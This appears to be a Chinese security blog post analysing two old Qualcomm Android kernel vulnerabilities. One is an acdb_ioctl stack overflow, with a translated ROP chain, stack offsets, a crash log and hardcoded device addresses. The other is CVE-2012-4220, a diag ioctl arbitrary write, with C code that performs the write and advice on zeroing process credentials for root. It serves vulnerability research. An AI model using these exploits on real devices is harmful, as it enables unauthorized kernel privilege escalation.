Retme的未来道具研究所

世界線の収束には、逆らえない

这块代码可以在9008中招到

先看补丁:
https://www.codeaurora.org/cgit/quic/la//kernel/msm/commit/?id=32682d16fb46a60a7952c4d9e0653602ff674e4b

  1. if ((size <= 0) || (size > sizeof(data))) {
  2. pr_err("%s: Invalid size sent to driver: %d\n",
  3. __func__, size);
  4. result = -EFAULT;
  5. goto done;
  6. }

补丁对 ioctl 传入的data大小做了校验,如果超出MAX_IOCTL_DATA个u32的数据,直接返回失败。在我这,这个值是30*32

若不校验这个size大小,攻击者可以构造任意大小的数据,造成栈溢出,控制程序指针

  1. if (copy_from_user(&size, (void *) arg, sizeof(size))) {
  2. result = -EFAULT;
  3. goto done;
  4. }
  5. if ((size <= 0) || (size > sizeof(data))) {
  6. pr_err("%s: Invalid size sent to driver: %d\n",__func__, size);
  7. result = -EFAULT;
  8. goto done;
  9. }
  10. if (copy_from_user(data, (void *)(arg + sizeof(size)), size)) { //栈溢出
  11. pr_err("%s: fail to copy table size %d\n", __func__, size);
  12. result = -EFAULT;
  13. goto done;
  14. }

利用方法:

https://github.com/android-rooting-tools/android_run_root_shell

由于使用ROP,所以属于一个适配有点麻烦的漏洞了

这篇文章讲了利用方法,是一段rop https://gist.github.com/fi01/5857693

由于是日文的,简单翻译下

===================================================================

  • 原来的流程
    do_vfs_ioctl调用acdb_ioctl后返回

    do_vfs_ioctl:
    STMPW [SP], { R4-R9, LR }
    ...
    BL acdb_ioctl ... ADD SP, SP, #$44 // (2)
    LDMUW [SP], { R4-R9, PC } // (1)

  • 我们替换之后的流程

触发任意地址写的漏洞,以获得root
然后调整好正确的栈位置,最后返回(1)的流程

  • 任意地址写漏洞的触发
    acdb_ioctl其中一段,可以获得控制PC的机会。修改寄存器的位置是 (3),这里可以操作R4-PC的所有数值了。然后把R9的内容写入R5,触发成功

    acdb_ioctl: ... ADD SP, SP, #$84
    LDMUW [SP], { R4-R11, PC } // (3)

首先控制PC跳到这里(pc1)

  1. STR R5, [R9] // (4)
  2. LDMUW [SP], { R4-R10, PC } // (5)
  • 栈位置的修正
    执行(5)之后,为了堆栈平衡,栈要填充 4*8 字节,然后设置下一跳的PC。(pc2)
    (6)这里也要处理一下平衡堆栈,最后返回(2)那里去

    ADD SP, SP, #$24 // (6)
    LDMUW [SP], { R4-R9, PC }

  • 栈地址的替换
    实际栈的位置和p->data的位置需要硬编码适配。
    p->data[...]的値需要初始化的时候设置。
    硬编码的地址请在pc上通过崩溃的日志分析。
    p->data[i]=i 这样来试探(注:给数据标上相对偏移,方便通过栈来定位),这个例子中,PC在&p->data[0x9c]的位置。

例:

  1. ACDB=> ACDB ioctl not found!
  2. Unable to handle kernel paging request at virtual address 9f9e9d9c
  3. pgd = df56c000
  4. [9f9e9d9c] *pgd=00000000
  5. Internal error: Oops: 80000005 [#1] PREEMPT SMP
  6. Modules linked in:
  7. CPU: 1 Tainted: G W (3.0.8+1.0.21100-02148-g79e6d0e #1)
  8. PC is at 0x9f9e9d9c
  9. LR is at acdb_ioctl+0x740/0x860
  • 设置好堆栈布局
    要確認PC原始的数值,以便正确返回

    ((unsigned int)&p->data[0x80]) = value; //r5: PC - 47
    (
    (unsigned int)&p->data[0x90]) = address; //r9: PC - 43
    ((unsigned int)&p->data[0x9c]) = (4)的地址; //pc: PC
    ((unsigned int)&p->data[0xbc]) = (6)地址; //pc: PC + 4*8

  • 为了在do_vfs_ioctl、acdb_ioctl这两个函数执行完后内核无异常,寄存器也需要适配。
    (6)那个地方stack加的数值也可能也要硬编码适配

注:本文硬编码对应

  1. DEVICE_SO05D_7_0_D_1_137, { 0x80, 0x90, { 0x9c, 0xc03265d8 }, { 0xbc, 0xc0524d84 } }

这块代码可以在9300中找到

漏洞信息:

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-4220

https://www.codeaurora.org/projects/security-advisories/multiple-issues-diagkgsl-system-call-handling-cve-2012-4220-cve-2012

先看补丁:
https://www.codeaurora.org/cgit/quic/la//kernel/msm/commit/?id=32682d16fb46a60a7952c4d9e0653602ff674e4b

问题出在diag再处理DIAG_IOCTL_GET_DELAYED_RSP_ID这个ioctl时,没有使用copy_to_user

于是uint_16的全局变量 delayed_rsp_id写入用户任意指定的地址,每次可写入0x2~0xffff的两个字节,反复调用即可造成任意地址写的内核漏洞。

  1. } else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) {
  2. - struct diagpkt_delay_params *delay_params =
  3. - (struct diagpkt_delay_params *) ioarg;
  4. -
  5. - if ((delay_params->rsp_ptr) &&
  6. - (delay_params->size == sizeof(delayed_rsp_id)) &&
  7. - (delay_params->num_bytes_ptr)) {
  8. - *((uint16_t *)delay_params->rsp_ptr) =
  9. - DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
  10. - *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
  11. success = 0;
  12. }

如何利用:

这个漏洞里面,要将delay_params->rsp_ptr 设置为希望写入的地址,而希望写入的值利用delayed_rsp_id的值进行

如何控制delayed_rsp_id :

上文中DIAGPKT_NEXT_DELAYED_RSP_ID这个宏,每调用一次,delayed_rsp_id便会+1 所以调用(value_we_want - origin_delayed_rsp_id)次,就能将delayed_rsp_id设置为我们想要的值

如果我们想要的值比 origin_delayed_rsp_id要大,那么可以利用如下这一句:

*(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);

如果这样写 *(delayed_rsp_id_addr) = sizeof(delayed_rsp_id); 就可以将地址重置为0x2

如何提权:

因为只有能写,不能读。那么丑陋一点的话,可以DKOM,给tusk_struct里面自己的uid pid都填0

  1. static bool
  2. inject_value(struct diag_values *data,
  3. int fd, void *delayed_rsp_id_address)
  4. {
  5. uint16_t delayed_rsp_id_value = 0;
  6. int i, loop_count, ret;
  7. //send ioctl to get origin delayed_rsp_id
  8. //by DIAG_IOCTL_GET_DELAYED_RSP_ID
  9. //we save it
  10. ret = get_current_delayed_rsp_id(fd);
  11. if (ret < 0) {
  12. return false;
  13. }
  14. delayed_rsp_id_value = ret;
  15. data->original_value = delayed_rsp_id_value;
  16. //current value in kernel is too big,reset it
  17. //write delayed_rsp_id_size to *delayed_rsp_id,
  18. //id has been set to 2 here
  19. //
  20. //sorry to say:delayed_rsp_id_address is a hardcode
  21. if (delayed_rsp_id_value > data->value &&
  22. reset_delayed_rsp_id(fd, delayed_rsp_id_address) < 0) {
  23. return false;
  24. }
  25. //let delayed_rsp_id add to the data->value we want,and set to
  26. loop_count = (data->value - delayed_rsp_id_value) & 0xffff;
  27. for (i = 0; i < loop_count; i++) {
  28. int unused;
  29. if (send_delay_params(fd, (void *)data->address, &unused) < 0) {
  30. return false;
  31. }
  32. }
  33. return true;
  34. }

http://blogs.360.cn/360mobile/2014/03/14/rat-trojan/